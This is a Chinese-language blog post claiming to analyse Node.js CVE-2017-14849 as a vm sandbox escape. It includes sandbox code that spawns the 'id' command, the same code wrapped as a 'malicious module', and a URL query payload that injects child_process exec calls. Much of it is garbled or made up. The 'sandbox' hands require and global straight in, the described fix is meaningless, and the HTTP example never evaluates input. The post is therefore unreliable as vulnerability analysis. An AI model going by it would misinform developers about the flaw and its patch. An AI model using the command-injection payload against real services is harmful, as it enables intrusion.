浅谈Node.js CVE-2017-14849 漏洞分析(详细步骤)

浅谈Node.js CVE-2017-14849 漏洞分析(详细步骤)

背景介绍

本文主要讲解Node.js中的一个安全漏洞CVE-2017-14849,该漏洞可以被利用来绕过Node.js的沙箱,从而获取系统权限。该漏洞存在于Node.js v8.5.0版本中,由于该漏洞的危害性较高,因此被称为“沙箱逃逸漏洞”。

漏洞分析

漏洞的成因

利用该漏洞需要理解Node.js的沙箱机制。在Node.js中,所有的JavaScript代码都运行在沙箱中(称为vm模块),沙箱中的代码是无法访问主进程中的任何资源。

但是,在Node.js v8.5.0版本中,有一个漏洞使得我们可以通过在沙箱中引用原型对象的方式来访问主进程中的资源,从而绕过沙箱,获取系统权限。

实现这个漏洞的代码如下:

const vm = require('vm');
const sandbox = {
  global,
  require,
  setTimeout,
  setInterval,
  setImmediate,
  clearTimeout,
  clearInterval,
  clearImmediate,
};
const context = new (vm.createContext)(sandbox);
const code = `
    const { spawn } = require('child_process');
    spawn('id');
    Object.constructor.constructor('return this.process')().exit();
`;
vm.runInContext(code, context);

上面的代码在沙箱中执行了一个错误的代码,该代码可以获取到系统命令“id”的输出,而获取系统权限的关键在于最后一行代码:

Object.constructor.constructor('return this.process')().exit();

这行代码的作用是获取到Node.js主进程的全局对象,然后调用它的“exit”方法来退出主进程,这就绕过了沙箱,获取到了系统权限。

漏洞的修复

该漏洞已经在Node.js维护的v8.5.0版本中修复,修复代码如下:

Object.setPrototypeOf = function(obj, proto) {
    obj.__proto__ = proto;
    return obj;
};

可以看到,修复代码简单地将Object.setPrototypeOf的实现改为了直接设置对象的__proto__属性,这样就避免了引用原型对象的漏洞。

实例分析

漏洞利用实例1

假设我们有一个恶意模块,想要利用CVE-2017-14849漏洞获取系统权限,该模块的代码如下:

exports.run = function () {
  const vm = require('vm');
  const sandbox = {
    global,
    require,
    setTimeout,
    setInterval,
    setImmediate,
    clearTimeout,
    clearInterval,
    clearImmediate,
  };
  const context = new (vm.createContext)(sandbox);
  const code = `
    const { spawn } = require('child_process');
    spawn('id');
    Object.constructor.constructor('return this.process')().exit();
  `;
  vm.runInContext(code, context);
};

我们可以使用以下代码将该模块加载并运行:

require('./malicious-module').run();

上述操作将导致该模块成功运行并获取系统权限,因为在Node.js v8.5.0中存在CVE-2017-14849漏洞。

漏洞利用实例2

除了直接运行恶意代码,黑客还可以在网络中伪装一个Node.js应用程序并利用该漏洞获取系统权限。

假设黑客在本地启动了一个Node.js服务,并将端口暴露在公共网络中,并有以下代码接受用户的输入:

const http = require('http');
const url = require('url');

http.createServer(function (req, res) {
    res.writeHead(200, {'Content-Type': 'text/plain'});
    res.end(`Hello ${url.parse(req.url).query || 'world'}\n`);
}).listen(8080);

黑客可以使用以下步骤获取系统权限:

  1. 访问该服务的URL并将参数设置为以下内容:
?req='),Object.setPrototypeOf=require('child_process').exec('id')&&Object.constructor.constructor('return this.process')().exit(),('blah
  1. 当黑客访问该URL时,服务将接受请求,然后使用上述恶意代码执行用户的输入。

  2. 该恶意代码将执行命令“id”并将其结果发送给黑客。

漏洞防御

为了防止利用该漏洞进行攻击,我们可以采取以下措施:

  1. 及时更新Node.js到最新版本,最新版本已经修复了该漏洞。

  2. 防止用户输入的恶意代码被执行。例如,可以使用安全代码评估工具分析用户输入的代码,或者使用输入验证库来验证用户输入的正确性。

总结

通过本文的介绍,我们了解到了Node.js中的一个重要安全漏洞CVE-2017-14849的成因、利用方法和修复方法。在开发过程中,应该及时更新框架版本,并采取充分的安全措施来保证应用程序的安全。

本站文章如无特殊说明,均为本站原创,如若转载,请注明出处:浅谈Node.js CVE-2017-14849 漏洞分析(详细步骤) - Python技术站

(0)
上一篇 2023年6月8日
下一篇 2023年6月8日

相关文章

  • 用nodeJS搭建本地文件服务器的几种方法小结

    我非常乐意为您提供关于用NodeJS搭建本地文件服务器的几种方法小结的完整攻略。 用NodeJS搭建本地文件服务器的几种方法小结 基于Node.js的http模块搭建文件服务器 首先,安装Node.js并检查是否成功安装,可以通过在终端或命令提示符中输入命令node -v来查看版本号。 在文件系统中选择一个文件夹作为服务器根目录,应确保Node.js具有访问…

    node js 2023年6月8日
    00
  • nodejs获取表单数据的三种方法实例

    下面为你详细讲解“nodejs获取表单数据的三种方法实例”的完整攻略。 一、背景介绍 在Web开发中,表单提交是经常用到的一种方式,因为它可以实现用户向服务器端提交数据的操作。而在Node.js中,我们可以使用node-formidable、body-parser等模块来获取表单数据。本文将介绍这两种模块的使用方法,以及另外一种获取表单数据的简单方法。 二、…

    node js 2023年6月8日
    00
  • 在JavaScript中如何使用宏详解

    当我们使用JavaScript编写大型应用时,经常会遇到需要多次使用同一段代码的情况。在这种情况下,使用宏(Macro)可以减少代码中的重复,使代码更加简洁和易于维护。 使用宏的基本语法 在JavaScript中,使用宏可以通过define方法实现。其基本语法如下: // 定义宏 define(‘宏名’, function() { // 宏代码 }); //…

    node js 2023年6月8日
    00
  • 单线程JavaScript实现异步过程详解

    单线程JavaScript实现异步过程就是通过事件循环机制实现的。该机制通过回调函数的方式,将需要异步执行的代码推入事件队列,等待主线程空闲时再执行。 具体实现过程如下: 首先,我们需要定义一个函数,它能够接受一个回调函数作为参数,这个回调函数会在异步操作结束后被执行。 function loadData(callback) { // 这里是异步操作的代码,…

    node js 2023年6月8日
    00
  • Node快速切换版本、版本回退(降级)、版本更新(升级)

    Node.js是一个非常流行的JavaScript运行时环境。由于Node.js的版本更新速度非常快,因此有时我们需要快速切换版本、降级或升级版本。以下是Node.js版本管理的完整攻略: 1. 使用nvm管理Node.js版本 nvm是Node.js版本管理器,它可以方便地在多个版本之间切换。安装nvm后,可以通过以下步骤来快速切换Node.js版本: 1…

    node js 2023年6月8日
    00
  • 使用webpack编译es6代码的方法步骤

    使用Webpack编译ES6代码是非常常见的前端开发任务,以下是一个完整的步骤攻略: 1. 安装Webpack和相关的Loader 首先,我们需要安装Webpack和相关的Loader,比如Babel,它可以将ES6代码转换成ES5代码,使得它在更老的浏览器或者环境中也可以运行。 npm install webpack webpack-cli babel-l…

    node js 2023年6月8日
    00
  • js 性能优化之快速响应的用户界面

    请听我详细讲解“JS性能优化之快速响应的用户界面”的完整攻略。 1. 前言 在众多的网站和应用程序中,JavaScript是最流行的编程语言之一。虽然JavaScript是能够提供强大的功能的语言,但是我们使用JavaScript编写的代码也很容易在性能方面出现问题。在构建Web应用程序中最重要的部分之一——用户界面的构建,质量和性能是应该一起考虑的。所以,…

    node js 2023年6月8日
    00
  • 浅谈nodeName,nodeValue,nodeType,typeof 的区别

    下面提供一份完整的攻略,以便你进行参考。 背景 在JavaScript中,有时需要处理HTML或XML文档中的节点,这些节点拥有如节点类型(NodeType)、节点名称(nodeName)、节点值(nodeValue)、数据类型(typeof)等关键词。它们有各自特殊的用途和区别。本文将深入浅出地讨论它们之间的联系和差异。 节点类型(NodeType) 在处…

    node js 2023年6月8日
    00
合作推广
合作推广
分享本页
返回顶部